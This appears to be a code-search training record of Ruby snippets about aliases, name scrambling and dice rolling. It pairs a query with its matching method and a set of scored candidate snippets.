"def replaceAliases(iStr, iAliases, oDependencies = nil)\n rStr = iStr.clone\n\n lMatch = rStr.match(/^(.*)@\\{([^\\}]*)\\}(.*)$/)\n while (lMatch != nil)\n lAliasName = lMatch[2]\n if (lAliasName[0..3] == 'Ref[')\n # We have a reference to another deliverable\n lTargetTokens = lAliasName[4..-2].split('/')\n # Check if there is a property reference at the end\n lTargetMatch = lTargetTokens[-1].match(/^(.*)\\.([^\\.]*)$/)\n if (lTargetMatch == nil)\n # No property reference\n lDeps = getDeliverableTargets(lTargetTokens.join('/'))\n if (lDeps.size == 1)\n rStr = \"#{lMatch[1]}#{lDeps[0].RealDir}#{lMatch[3]}\"\n if (oDependencies != nil)\n oDependencies[lDeps[0]] = nil\n end\n else\n raise RuntimeError.new(\"Reference #{lAliasName} resolves to #{lDeps.size} deliverables.\")\n end\n else\n # There is a property reference\n lDeps = getDeliverableTargets((lTargetTokens[0..-2] + [ lTargetMatch[1] ]).join('/'))\n if (lDeps.size == 1)\n if (oDependencies == nil)\n # Read properties from this deliverable result\n lProperties = nil\n File.open(\"#{lDeps[0].RealDir}/metadata.conf.rb\", 'r') do |iFile|\n lProperties = eval(iFile.read)\n end\n lPropertyValue = lProperties[lTargetMatch[2].to_sym]\n if (lPropertyValue == nil)\n raise RuntimeError.new(\"No property named #{lTargetMatch[2]} could be found in deliverable #{lDeps[0].ID}. Unable to resolve #{lAliasName}.\")\n else\n rStr = \"#{lMatch[1]}#{replaceAliases(lPropertyValue, lDeps[0].Context.Aliases)}#{lMatch[3]}\"\n end\n else\n # Just remove this reference from the string\n rStr = \"#{lMatch[1]}#{lMatch[3]}\"\n oDependencies[lDeps[0]] = nil\n end\n else\n raise RuntimeError.new(\"Reference #{lAliasName} resolves to #{lDeps.size} deliverables.\")\n end\n end\n elsif (iAliases[lAliasName] == nil)\n raise RuntimeError.new(\"Unknown alias #{lAliasName} in string #{iStr}. Current aliases are: #{iAliases.inspect}.\")\n else\n rStr = \"#{lMatch[1]}#{iAliases[lAliasName]}#{lMatch[3]}\"\n end\n lMatch = rStr.match(/^(.*)@\\{([^\\}]*)\\}(.*)$/)\n end\n\n return rStr\n end",
"def aliases\n [canonical.downcase]\n end",
"def to_s\n aliases.first\n end",
"def content\n \"alias #{@name}=#{@val}\"\n end",
"def name_alias(arg=nil)\n\t\t\t\tset_or_return(:name_alias, arg, :kind_of => String)\n\t\t\tend",
"def aliased_name; end",
"def alias_manager\nname = \"\"\nvowels = \"aeiou\"\nconsonants = \"bcdfghjklmnpqrstvwxyz\"\ninput = \"\"\nuser_input = []\ncapitalized_name_storage = []\ncounter = 0\n\nwhile input != \"quit\"\nputs \"What is your first and last name? Please separate with a space. Type 'quit' to exit.\"\ninput = gets.chomp\nif input == \"quit\"\n puts \"Thanks for using Alias Manager.\"\nelse\n user_input << input\n name = input.downcase.split(' ').reverse.join(' ')\n reverse_name = name\n split_reverse = reverse_name.chars\n new_name = \"\"\n split_reverse.map! do |letter|\n if letter == \" \"\n new_name += \" \"\n elsif letter.scan(/[aeiou]/).join == \"a\" ||\n letter.scan(/[aeiou]/).join == \"e\" ||\n letter.scan(/[aeiou]/).join == \"i\" ||\n letter.scan(/[aeiou]/).join == \"o\"\n index = vowels.index(letter)\n new_name += vowels[index + 1]\n elsif letter.scan(/[aeiou]/).join == \"u\"\n index = vowels.index(letter)\n new_name += \"a\"\n elsif letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"b\" || letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"c\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"d\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"f\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"g\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"h\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"j\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"k\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"l\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"m\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"n\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"p\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"q\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"r\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"s\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"t\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"v\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"w\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"x\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"y\"\n index = consonants.index(letter)\n new_name += consonants[index + 1]\n elsif letter == \"z\"\n new_name += \"b\"\n else\n p \"ERROR, UNRECOGNIZED CHARACTER\"\n end\n end\n\n capitalized_name_array = new_name.split(' ').map! {|name| name. capitalize}\n p capitalized_name = capitalized_name_array.join(' ')\n capitalized_name_storage << capitalized_name\nend\nend\nputs \"Summary:\"\nuser_input.each do |name|\n puts \"Name converted: #{name} is now #{capitalized_name_storage[counter]}.\"\n counter += 1\nend\nend",
"def store_alias(myAlias, fact)\n @bot.debug \"parsing and storing alias #{myAlias}\"\n query = config[:dbh].prepare \"SELECT id FROM aliases WHERE alias = ?\"\n query.execute myAlias\n if row = query.fetch\n query = config[:dbh].prepare \"UPDATE aliases SET original=? WHERE alias=?\";\n query.execute(fact, myAlias)\n else\n query = config[:dbh].prepare \"INSERT INTO aliases (original, alias) values(?, ?)\";\n query.execute(fact, myAlias)\n end\n return \"Aliasing #{myAlias} to #{fact}\"\n end",
"def to_alias_chars(name_chars)\nname_chars.map! do |character|\n\tcharacter = character.downcase\n\tif character == \"a\"\n\t\tnext_vowel(character)\n\telsif character == \"e\"\n\t\tnext_vowel(character)\n\telsif character == \"i\"\n\t\tnext_vowel(character)\n\telsif character == \"o\"\n\t\tnext_vowel(character)\n\telsif character == \"u\"\n\t\tnext_vowel(character)\n\telse \n\t\tnext_consonant(character)\n\tend\nend\nend",
"def add_alias(event)\n assert_permissions(event) # Only the botmaster can execute this\n\n msg = event.content\n aka = parse_term(msg)\n raise OutteError.new \"You need to provide an alias in quotes.\" if aka.nil?\n\n msg.remove!(aka)\n type = !!msg[/\\blevel\\b/i] ? 'level' : (!!msg[/\\bplayer\\b/i] ? 'player' : nil)\n raise OutteError.new \"You need to provide an alias type: level, player.\" if type.nil?\n\n entry = type == 'level' ? parse_highscoreable(msg) : parse_player(msg, event.user.name)\n entry.add_alias(aka)\n event << \"Added alias \\\"#{aka}\\\" to #{type} #{entry.name}.\"\nrescue => e\n lex(e, \"Error adding alias.\", event: event)\nend",
"def name_swap(name)\n reverse_name = name.downcase.split.reverse.join(' ')\n vowel_swap = reverse_name.tr!('aeiou', 'eioua')\n consonant_swap = vowel_swap.tr!('bcdfghjklmnpqrstvwxyz', 'cdfghjklmnpqrstvwxyz').split\n final_alias = consonant_swap.map(&:capitalize).join(' ')\nend",
"def yay(name)\n # Interpolate string - performs .to_s on variable name and adds it in\n # the appropriate place in the string\n puts \"#{name} is great!\" \n end",
"def expand_genus_abbreviation(str)\n str.sub(/^([A-Z])\\.? +(?=[\"a-z])/) do |x|\n (n = @@name_lookup[$1]) ? n + ' ' : x\n end\n end",
"def standardize_name(name)\n @team_data['aliases'].fetch(name, name)\n end",
"def resolve_alias(group_alias)\n ALIASES[group_alias]\n end",
"def add_alias as\n @display.print_alias as\n end",
"def formatted_alias_or_alias_with_host\n alias_with_host.nil? ? VirtualHearing.formatted_alias(alias_name) : alias_with_host\n end",
"def merge_info_alias(info, val)\n\t\tmerge_info_string(info, 'Alias', val, '_')\n\tend",
"def shout(str); str.upcase end",
"def target_alias\n decode_string_member(:target_alias)\n end",
"def stuff(input)\n\twords = input.split(\" \")\n\n\twords.each do |x| \n\t\tif x == 'the' || x == 'of' || x == 'and' || x == 'is' || x == 'a'\n\t\t\telse\n\t\t\t\t@acronym << x.to_s.chars.first.upcase + \".\"\n\t\tend\n\tend\nend",
"def aliass(full_name)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\tvowels = \"aeiou\"\n\tnew_string = \"\"\n\n\t#break input word into array and iterate through each letter\n\t#if the letter is a vowel, take it and change it to next_vowel\n\t#if the letter is a consonant, take it and change it to consonant\n\t#else just add with no modification\n\tfull_name.split('').each do |letter|\n\t\tif vowels.include?(letter)\n\t\t\tnew_string += vowel(letter)\n\t\telsif alphabet.include?(letter)\n\t\t\tnew_string += consonant(letter)\n\t\telse\n\t\t\tnew_string += letter\n\t\tend\n\tend\n\t#transform this new string into an array\n\tnew_word = new_string.split(' ')\n\t#swap first and second word in array\n\tnew_word.reverse!\n\t#turn new word into string\n\tnew_word.map {|names| names.capitalize!}\n\tnew_string = new_word.join(\" \")\nend",
"def alias(name)\n @aliases << normalize(name)\n nil\n end",
"def register_alias(string, symbol, extension_synonyms = T.unsafe(nil)); end",
"def shout(phrase)\n return \"#{phrase.upcase} !!!!\"\n #return \"#{phrase}!!!!\".upcase\nend",
"def change_name(name)\r\n\t#store new name in new variable, downcase, split in an array and reverse order\r\n\tnew_name = name.downcase.split(' ').reverse.join(' ')\r\n\t#return the array of all the letters\r\n\t#p new_name\r\n\t#puts new_name.length\r\n\t#p new_name\r\n\talias_and_real_name = []\r\n\tindex = 0\r\n\tvowel_list = \"aeiou\"\r\n\tconsonant_list = \"bcdfghjklmnpqrstvwxyz\"\r\n\twhile index < new_name.length\r\n\t\t#[index] takes and integer and retunrs char, .index takes a char\r\n\t\t#and returns integer**\r\n\t\t#Does the letter at the # index of new_name match the vowel_list string\r\n\t\tif vowel_list.include?(new_name[index])\r\n\t\t\t#next_vowel_index is a #\r\n\t\t\t#it equals the vowel string at the letter index \r\n\t\t\t#from new_name's # index\r\n\t\t\t#Then get the next number\r\n\t\t\tnext_vowel_index = vowel_list.index(new_name[index]).next\r\n\t\t\t#new_name at that index # now equal this new # \r\n\t\t\t#Equals the vowel list at index of the next #\r\n\t\t\tnew_name[index] = vowel_list[next_vowel_index]\r\n\t\t\t\t#Solve for edge cases\r\n\t\t\t\t#If the letter is the name is going to be the last letter \r\n\t\t\t\t#in the vowel string, change it automatically to \r\n\t\t\t\t#the first on\r\n\t\t\r\n\t\t\t\r\n\t\telsif consonant_list.include?(new_name[index])\r\n\t\t\tnext_consonant_index = consonant_list.index(new_name[index]).next\r\n\t\t\tnew_name[index] = consonant_list[next_consonant_index]\r\n\r\n\t\tend #End if statement\r\n\t\t#Incriment outside of if statment but inside while loop\r\n\t\tindex += 1\r\n\t\r\n\tend #End While loop\r\n\r\n\t#return the new alias name\r\n\tnew_name\r\n\t\r\n\t#Take the alias name and stoe it in an array, new name first and real \r\n\t#name second\r\n\talias_and_real_name << new_name << name\r\n\t\r\n#End method\t\t\r\nend",
"def shout_out_to(name)\n # name = name.chars.each { |c| c.upcase! }.join\n name.upcase!\n puts 'HEY ' + name\nend",
"def aliases generic_alias_too\n result, is_special = [], special_method?\n name = is_special ? cleaned_name : @name\n if generic_alias_too and (file = existing_rd_file) and\n not file =~ /#{cleaned_s4_class}/\n result << \"\\\\alias{#{name}-methods}\"\n end\n result << \"\\\\alias{#{name},#{@s4_class}-method}\"\n if is_special\n result << \"\\\\alias{#{@name.gsub(/%/, \"\\\\%\")},#{@s4_class}-method}\"\n end\n result.join \"\\n\"\n end",
"def shout(string)\n\t\t\tstring.upcase\t\t\n\t\tend",
"def to_s\n self.alias\n end",
"def shout(input)\n \"#{input.upcase}\"\nend",
"def showAlias\n puts \"showAlias.\"\nend",
"def alias(name, alias_to)\n params = { :_n => alias_to, :_p => name }\n request('a', params)\n end",
"def aliases; end",
"def aliases; end",
"def aliases; end",
"def handle_alias_command(text, bot)\n blocked_alias_names = %w[depth ids notes completed top bottom]\n bot.logger.info(text.nil?)\n if text.nil?\n verb = 'list'\n else\n verb, name, id = text.split(' ')\n end\n\n case verb\n when 'add'\n # /alias add <name> <id>\n if blocked_alias_names.include?(name) || name.scan(/\\D/).empty?\n return 'Please choose an alias that is not a bot keyword or a number'\n end\n\n call_wf(\"alias add --name=#{name} --id=#{id}\", bot)\n when 'list'\n # /alias list\n call_wf('alias list', bot)\n when 'rm'\n # /alias rm <name>\n call_wf(\"alias remove --name=#{name}\", bot)\n else\n \"Please call the alias command with either 'add <name> <id>', 'list' or 'rm <name>'\"\n end\nend",
"def is_alias?; end",
"def spell_out str\n str.downcase.split('').join('-')\nend",
"def alias(name)\n @aliases << convert(name)\n end",
"def alias(name)\n @aliases << convert(name)\n end",
"def aliases\n end",
"def shout string\n string.upcase\nend",
"def spell_out string\n string.downcase.split(\"\").join(\"-\")\nend",
"def spell_out string\n string.downcase.split(\"\").join(\"-\")\nend",
"def shout(string)\n\treturn string.upcase\nend",
"def shout_out_to(name)\n # name.chars.each { |c| c.upcase! }\n name = name.chars.each { |c| c.upcase! }.join\n puts 'HEY ' + name\nend",
"def alias_output_pass(roll_tally)\n # Each entry is formatted \"Alias Name\":[[]/gsub replacement regex/, \"replace with string\", etc]\n # Not all aliases will have an output hash\n alias_output_hash = {\n 'Fudge' => [[/\\b1\\b/, '-'], [/\\b2\\b/, ' '], [/\\b3\\b/, '+']]\n }\n\n new_tally = roll_tally\n\n @alias_types.each do |alias_type|\n next unless alias_output_hash.has_key?(alias_type)\n\n alias_output = alias_output_hash[alias_type]\n alias_output.each do |replacement|\n new_tally.gsub!(replacement[0], replacement[1])\n end\n end\n\n new_tally\nend",
"def yell (string)\n string.upcase + \"!\"\nend",
"def aliases\n\n end",
"def parse_aliases(args)\n return [] unless @aliases.has_key? args[0]\n ret = []\n parsed_lines = input_to_lines(@aliases[args[0]],false)\n passed_arguments = nil\n parsed_lines.each_with_index do |line,i|\n if i == 0\n # If the user types the following command: ALIAS arg1 arg2,\n # where ALIAS consists of multiple lines (e.g. echo hi ; echo hey),\n # the passed arguments must be moved to the end of the\n # last line. In this case, 'ALIAS arg1 arg2' becomes:\n # echo hi ; echo hey arg1 arg2\n # The passed arguments are saved to the passed_arguments variable.\n args.delete_at(0)\n if parsed_lines.length > 1\n passed_arguments = args.clone\n args.clear\n end\n args.insert(0,*line)\n else\n if i == parsed_lines.length-1\n # The passed arguments are added to the end of the last parsed line.\n line += passed_arguments \n end\n ret.push(*line)\n end\n end\n return ret\n end",
"def alias=(new_alias)\n @alias = new_alias[0..512]\n end",
"def spell_out (string)\n string.downcase.split(//).join(\"-\")\nend"
] |
[
"0.72118866",
"0.7194395",
"0.71502584",
"0.70598966",
"0.7031325",
"0.7022299",
"0.70205754",
"0.69543993",
"0.6918011",
"0.6856056",
"0.6849718",
"0.6848692",
"0.68214875",
"0.6766864",
"0.6747798",
"0.6746079",
"0.67219716",
"0.6708574",
"0.66849214",
"0.66691124",
"0.6659162",
"0.66219413",
"0.65757567",
"0.6567438",
"0.6565602",
"0.6565018",
"0.6543427",
"0.65279216",
"0.65174764",
"0.64169747",
"0.6403108",
"0.6384159",
"0.6384159",
"0.6376065",
"0.6276712",
"0.6271085",
"0.62347066",
"0.62045604",
"0.6182529",
"0.6178134",
"0.612551",
"0.6116333",
"0.61087674",
"0.61075085",
"0.61075085",
"0.6094905",
"0.6056048",
"0.60426646",
"0.60414207",
"0.6024408",
"0.60240597",
"0.5994571",
"0.5984001",
"0.5975133",
"0.59695226",
"0.59628105",
"0.59209436",
"0.59109837",
"0.5900352",
"0.5880843",
"0.587758",
"0.58657",
"0.5860106",
"0.5842256",
"0.58375365",
"0.5820183",
"0.5802729",
"0.5786903",
"0.5784025",
"0.57831",
"0.5768453",
"0.575439",
"0.5749068",
"0.57273406",
"0.5726296",
"0.5718883",
"0.5714971",
"0.5714836",
"0.571439",
"0.57086235",
"0.57058245",
"0.57058245",
"0.57058245",
"0.5696392",
"0.5690986",
"0.5689715",
"0.56740934",
"0.56740934",
"0.5669052",
"0.56656986",
"0.56583494",
"0.56583494",
"0.5651081",
"0.5639899",
"0.56308097",
"0.5623078",
"0.5619274",
"0.5618857",
"0.5605845",
"0.5600387"
] |
0.63608056
|
34
|
Returns dice string after it's been put through the aliases
|
def alias_output_pass(roll_tally)
# Each entry is formatted "Alias Name":[[]/gsub replacement regex/, "replace with string", etc]
# Not all aliases will have an output hash
alias_output_hash = {
'Fudge' => [[/\b1\b/, '-'], [/\b2\b/, ' '], [/\b3\b/, '+']]
}
new_tally = roll_tally
@alias_types.each do |alias_type|
next unless alias_output_hash.has_key?(alias_type)
alias_output = alias_output_hash[alias_type]
alias_output.each do |replacement|
new_tally.gsub!(replacement[0], replacement[1])
end
end
new_tally
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def random_alias\n 12.times.map { (SecureRandom.random_number(26) + 97).chr }.join\n end",
"def to_s( )\n\t\t\t\"#{@dice[0..-2].join(',')} and #{@dice[-1]}\"\n\t\tend",
"def spy_alias1 full_name\n alias_name = full_name.downcase.split(' ').reverse!.join(' ').split(//)\n vowels=['a','e','i','o','u']\n alias_name.map! do |letter|\n next_vowel=letter\n vowels.each_index do |index|\n if vowels[index]=='u'&&letter==vowels[index]\n next_vowel='a'\n elsif letter==vowels[index]\n next_vowel=vowels[index+1]\n end\n end\n next_vowel\n end\n \n consonants=['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n alias_name.map! do |letter|\n next_consonant=letter\n consonants.each_index do |index|\n if consonants[index]=='z'&&letter==consonants[index]\n next_consonant='b'\n elsif letter==consonants[index]\n next_consonant=consonants[index+1]\n end\n end\n next_consonant\n end\n \n alias_name=alias_name.join('').split(' ').map! {|name| name.capitalize}.join(' ')\nend",
"def secret_alias_maker(secret_name)\n reverse_name = swapping_names(secret_name)\n char = reverse_name.split('')\n char_swapped_vowels = swapping_vowels(char)\n added_to_array = swapping_consonents(char_swapped_vowels)\n added_to_array.join('')\nend",
"def dice_roll\n dice = [\"bridge\",\"snow_house\",\"ice_cube\"]\n face= dice.sample\n\n if face==\"bridge\"\n puts \"You just drew a #{face}! You can move forward\" \n elsif face==\"snow_house\"\n puts \"You just drew a #{face}! You're on the safe side!\"\n elsif face==\"ice_cube\"\n puts \" Outch!! You just drew an #{face}! You're sinking'\"\n end\n\nend",
"def spy_alias2 full_name\n alphabet = {\n vowels: ['a','e','i','o','u'],\n consonants: ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n }\n alias_name = full_name.downcase.split(' ').reverse!.join(' ').split(//)\n alias_name.map! do |letter|\n next_letter=letter\n if alphabet[:vowels].include?(letter)\n index=alphabet[:vowels].index(letter)\n if letter==alphabet[:vowels][-1]\n next_letter=alphabet[:vowels][0]\n else\n next_letter=alphabet[:vowels][index+1]\n end\n elsif alphabet[:consonants].include?(letter)\n index = alphabet[:consonants].index(letter)\n if letter==alphabet[:consonants][-1]\n next_letter=alphabet[:consonants][0]\n else\n next_letter=alphabet[:consonants][index+1]\n end\n end\n next_letter\n end\n alias_name=alias_name.join('').split(' ').map! {|name| name.capitalize}.join(' ')\nend",
"def shake!\n output_string = String.new\n\n @die_face = Array.new()\n\n i = 0\n while i < 16\n @die_face << @dice[i].split('').sample(1)\n i = i + 1\n end\n\n letter_array = @die_face.shuffle\n\n 4.times do\n output_string << letter_array.shift(4).join(' ') + \" \\n\"\n output_string.gsub!('Q ','Qu')\n end\n\n puts output_string\n end",
"def show_dice\n puts \"Your roll is: \"\n puts @dice.to_s\n end",
"def to_s\n aliases.first\n end",
"def sword_damage(str, dex, luck)\n damage = (str + dex)/2 * rand(luck)\n if damage == 0\n puts \"You missed!\"\n else\n puts \"Your sword strikes for #{damage} damage!\"\n end\nend",
"def alias_creator(name)\n puts \"Your name backwards is #{name.split(' ').rotate!.join(' ')}.\"\nend",
"def alias_input_pass(input)\n # Each entry is formatted [/Alias match regex/, \"Alias Name\", /gsub replacement regex/, \"replace with string\"]\n alias_input_map = [\n [/\\b\\d+dF\\b/i, 'Fudge', /\\b(\\d+)dF\\b/i, '\\\\1d3 f1 t3'], # Fate fudge dice\n [/\\bSNM\\d+\\b/i, 'Sunsails', /\\bSNM(\\d+)\\b/i, '\\\\1d6 ie6 t4'], # Sunsails: New Milennium; Fourth Edition\n [/\\b\\d+wh\\d+\\+/i, 'Warhammer', /\\b(\\d+)wh(\\d+)\\+/i, '\\\\1d6 t\\\\2'], # Warhammer (AoS/40k)\n [/\\b\\d+WoD\\d+\\b/i, 'WoD', /\\b(\\d+)WoD(\\d+)\\b/i, '\\\\1d10 f1 t\\\\2'], # World of Darkness 4th edition (note: explosions are left off for now)\n [/\\bdd\\d\\d\\b/i, 'Double Digit', /\\bdd(\\d)(\\d)\\b/i, '(1d\\\\1 * 10) + 1d\\\\2'], # Rolling one dice for each digit\n [/\\bage\\b/i, 'AGE System Test', /\\b(age)\\b/i, '2d6 + 1d6'], # 2d6 plus one drama/dragon/stunt die\n [/\\B\\+d\\d+\\b/i, 'Advantage', /\\B\\+d(\\d+)\\b/i, '2d\\\\1 d1'], # Roll two dice of the specified size and keep the highest\n [/\\B-d\\d+\\b/i, 'Disadvantage', /\\B-d(\\d+)\\b/i, '2d\\\\1 kl1'], # Roll two dice of the specified size and keep the lowest\n [/\\B\\+d%\\B/i, 'Advantage on percentile', /\\B\\+d%\\B/i, '((2d10kl1-1) *10) + 1d10'], # Roll two d10s for the tens column and keep the lowest (roll under system) then add a d10 for the ones\n [/\\B-d%\\B/i, 'Disadvantage on percentile', /\\B-d%\\B/i, '((2d10k1-1) *10) + 1d10'], # Roll two d10s for the tens column and keep the highest (roll under system) then add a d10 for the ones\n [/\\b\\d+CoD\\b/i, 'CoD 10-again', /\\b(\\d+)CoD\\b/i, '\\\\1d10 ie10 t8'], # Chronicles of Darkness (default, 10-again)\n [/\\b\\d+CoD8\\b/i, 'CoD 8-again', /\\b(\\d+)CoD8\\b/i, '\\\\1d10 ie9 t8'], # Chronicles of Darkness (8-again)\n [/\\b\\d+CoD9\\b/i, 'CoD 9-again', /\\b(\\d+)CoD9\\b/i, '\\\\1d10 ie8 t8'], # Chronicles of Darkness (9-again)\n [/\\b\\d+CoDR\\b/i, 'CoD rote quality', /\\b(\\d+)CoDR\\b/i, '\\\\1d10 r7 t8'], # Chronicles of Darkness (Rote quality, reroll all failed)\n [/\\bd6s\\d+\\b/i, 'The D6 System', /\\bd6s(\\d+)\\b/i, '\\\\1d6 + 1d6 ie'], # The D6 System\n [/\\bsr\\d+\\b/i, 'Shadowrun', /\\bsr(\\d+)\\b/i, '\\\\1d6 t5'], # Shadowrun system\n [/\\b\\d+d%\\B/i, 'Percentile roll', /\\b(\\d+)d%\\B/i, '\\\\1d100'], # Roll a d100\n [/\\bsp\\d+\\b/i, 'Storypath', /\\bsp(\\d+)\\b/i, 'ul \\\\1d10 ie10 t8'], # storypath system\n [/\\b\\d+yz\\b/i, 'Year Zero', /\\b(\\d+)yz\\b/i, '\\\\1d6 t6'], # year zero system\n [/\\bdndstats\\b/i, 'DnD Stat-roll', /\\b(dndstats)\\b/i, '6 4d6 k3'] # DnD character stats - 4d6 drop lowest 6 times\n ]\n\n @alias_types = []\n new_input = input\n\n # Run through all aliases and record which ones we use\n alias_input_map.each do |alias_entry|\n if input.match?(alias_entry[0])\n @alias_types.append(alias_entry[1])\n new_input.gsub!(alias_entry[2], alias_entry[3])\n end\n end\n\n new_input\nend",
"def alias_creator(name)\n name.downcase!\n name_array = name.split(' ')\n name_array.reverse!\n # insert method for changing vowels here\n post_vowels = next_vowel(name_array)\n # insert method for changing consonants here#\n new_name = next_consonant(post_vowels)\n # re-capitalize the first letter of each name\n new_name.map! {|word| word.capitalize}\n # take our array and turn it into a string\n puts \"Your automatically generated alias is:\"\n p new_name * \" \"\nend",
"def name_to_alias(string)\n #--variables to be used inside the while loop--#\n vowels_downcase = \"aeiou\"\n vowels_downcase_array = vowels_downcase.split('')\n vowels_upcase = \"AEIOU\"\n vowels_upcase_array = vowels_upcase.split('')\n consonants_downcase = \"bcdfghjklmnpqrstvwxyz\"\n consonants_downcase_array = consonants_downcase.split('')\n consonants_upcase = \"BCDFGHJKLMNPQRSTVWXYZ\"\n consonants_upcase_array = consonants_upcase.split('')\n #--loop that iterates through and modifies a string--#\n alias_string = \"\"\n count = 0\n while count < string.length\n if string[count] == \" \"\n alias_string[count] = \" \"\n count +=1\n elsif string[count].downcase == \"z\"\n if string[count] == \"z\"\n alias_string[count] = \"b\"\n else\n alias_string[count] = \"B\"\n end\n count += 1\n elsif string[count].downcase == \"u\"\n if string[count] == \"u\"\n alias_string[count] = \"a\"\n else\n alias_string[count] = \"A\"\n end\n count += 1\n elsif vowels_downcase_array.include? string[count]\n converted = vowels_downcase.index(string[count]) + 1\n alias_letter = vowels_downcase[converted]\n alias_string[count] = alias_letter\n count += 1\n elsif consonants_downcase_array.include? string[count]\n converted = consonants_downcase.index(string[count]) + 1\n alias_letter = consonants_downcase[converted]\n alias_string[count] = alias_letter\n count += 1\n elsif vowels_upcase_array.include? string[count]\n converted = vowels_upcase.index(string[count]) + 1\n alias_letter = vowels_upcase[converted]\n alias_string[count] = alias_letter\n count += 1\n elsif consonants_upcase_array.include? string[count]\n converted = consonants_upcase.index(string[count]) + 1\n alias_letter = consonants_upcase[converted]\n alias_string[count] = alias_letter\n count += 1\n else\n alias_string[count] = \" \"\n count += 1\n end\n end\nalias_string\nend",
"def alias_to(agent_name)\n #inverting names\n inverted_names = invert_names(agent_name)\n agent_alias = \"\"\n #for each char of the inverted names change to the next char if necessary\n inverted_names.chars.each do |char|\n agent_alias << next_char(char)\n end\n agent_alias\nend",
"def getDiceRoll()\n\tdie1 = rand(Diemaxroll - (Dieminroll - 1)) + Dieminroll\n\tdie2 = rand(Diemaxroll - (Dieminroll - 1)) + Dieminroll\n\treturn die1 + die2\nend",
"def roll(dice)\n dice\n end",
"def create_alias(real_name)\n\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\",\n \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\",\n \"v\", \"w\", \"x\", \"y\", \"z\"]\n\n # takes the real name, splits into words, reverses the order, joins into string again, and lowercases\n reversed_lowcase_str = real_name.split(\" \").reverse.join(\" \").downcase\n name_char_array = reversed_lowcase_str.chars\n fake_name_char_arr = name_char_array.map! do |letter|\n if letter == \" \"\n letter\n elsif letter == \"u\"\n letter = \"a\"\n elsif letter == \"z\"\n letter = \"b\"\n elsif vowels.include?(letter)\n letter = vowels[vowels.index(letter) + 1] # assigns the letter to be the next vowel\n elsif consonants.include?(letter)\n letter = consonants[consonants.index(letter) + 1]\n end\n end\n\n# rejoins the character array into one string, splits it into word array,\n# capitalizes each word, rejoins into string\n fake_name = fake_name_char_arr.join(\"\").split(\" \").map!{|name| name.capitalize}.join(\" \")\nend",
"def alias\n puts \"Hello Agent, what is your name?\"\n original_name = gets.chomp.downcase\n\n# split first and last name into two arrays\n#swap first name and last name \n\n split_name = original_name.split\n reverse_name = split_name.reverse!\n \n #join back together in a string with a space\n new_name = reverse_name.join(\" \")\n \n\n# each character into it's own array\n\n letters = new_name.each_char.to_a\n#vowel logic\n#if a charcters = vowel then change to next vowel\n\n\n\n vowels = %w(a e i o u a)\n consonant = %w(b c d f g h j k l m n p q r s t v w x y z b)\n new_alias = letters.map do |letter|\n letter.next \n end\nputs new_alias.join('')\nend",
"def alias_maker(fullname)\r\n\tfullname= fullname.downcase\r\n\treverse_name = fullname.split(' ').reverse!.join(' ')\r\n\tletter_array = reverse_name.split('') \r\n\tletter_array.map! do |char|\r\n\t\tif char == \"a\"\r\n\t\t\tchar = \"e\"\r\n\t\telsif char == \"e\"\r\n\t\t\tchar = \"i\"\r\n\t\telsif char == \"i\"\r\n\t\t\tchar = \"o\"\r\n\t\telsif char == \"o\"\r\n\t\t\tchar = \"u\"\r\n\t\telsif char == \"u\"\r\n\t\t\tchar =\"a\"\r\n\t\telsif char == \" \"\r\n\t\t\tchar = \" \"\r\n\t\telse\r\n\t\t\tif char.next == \"a\"\r\n\t\t\tchar = char.next!.next!\r\n\t\t\telsif char.next == \"e\"\r\n\t\t\tchar = char.next!.next!\r\n\t\t\telsif char.next == \"i\"\r\n\t\t\tchar = char.next!.next!\r\n\t\t\telsif char.next == \"o\"\r\n\t\t\tchar = char.next!.next!\r\n\t\t\telsif char.next == \"u\"\r\n\t\t\tchar = char.next!.next!\r\n\t\t\telse\t\r\n\t\t\t\tchar = char.next!\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\tnew_name = letter_array.join\r\n\tfull_alias = new_name.split.map(&:capitalize).join(\" \")\r\nend",
